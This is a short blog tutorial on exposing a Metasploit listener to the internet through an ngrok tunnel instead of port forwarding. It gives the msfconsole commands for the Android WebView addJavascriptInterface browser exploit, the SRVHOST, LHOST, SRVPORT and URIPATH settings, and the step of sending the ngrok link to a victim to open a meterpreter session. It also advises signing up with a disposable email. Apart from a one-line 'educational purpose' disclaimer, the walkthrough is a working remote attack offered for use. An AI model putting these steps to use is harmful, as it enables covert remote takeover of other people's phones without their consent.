Use Metasploit on WAN without Port Forwarding

In all of my previous Metasploit articles or videos, I am always performing attacks on LAN. Lots of people were asking me how to use Metasploit on the Internet or WAN. One way is to port forward the router. But in today's post, I am going to use a different method which doesn't require any port forwarding.

Setting Ngrok

·         First of all, we start with creating account at
·         Use any disposable email service to sign up.
·         After signing up, log in to and download the ngrok file.
·         Now extract the file and open terminal in that folder.
·         Log in again to your ngrok account and type the commands available on that page.

·         Copy the authentication code command and paste in the terminal.

./ngrok authtoken your_authentication_code

·         With the above command, the authentication code will be saved in your computer.
·         Now type the following command to start the tunnel.

./ngrok http 4431 

·         Now the ngrok will start a tunnel to your computer. Copy the Ngrok URL we will need this URL later in this tutorial. Also remember the port in above command.

Using Metasploit with Ngrok

·         For this tutorial, we are using Android web view exploit.
·         Open terminal and type msfconsole.
·         Now type the following command to load Android web view exploit.

use exploit/android/browser/webview_addjavascriptinterface

·         Now while setting SRVHOST and LHOST use localhost.

set srvhost localhost
set lhost localhost

·         In SRVPORT we will use same port that we have used while starting ngrok .i.e 4431.

set srvport 4431

·         Now set URIPATH to /. Use the following commands.

set uripath /

·         Above three steps are most important, so don't change the values.
·         Then enter run to start exploit.
·         Now you can send the link that you have got when you started Ngrok to the victim and you we be able to get the meterpreter session over the internet

Video Demonstration

Use Social Engineering Toolkit without Port Forwarding


·         Don't change the values of srvhost, lhost and uripath.
·         Make sure srvport and port you set while starting ngrok are same.
·         Only for educational purpose. 


This article has been written by Aditya Joshi who writes for and can be reached on @darktruth190
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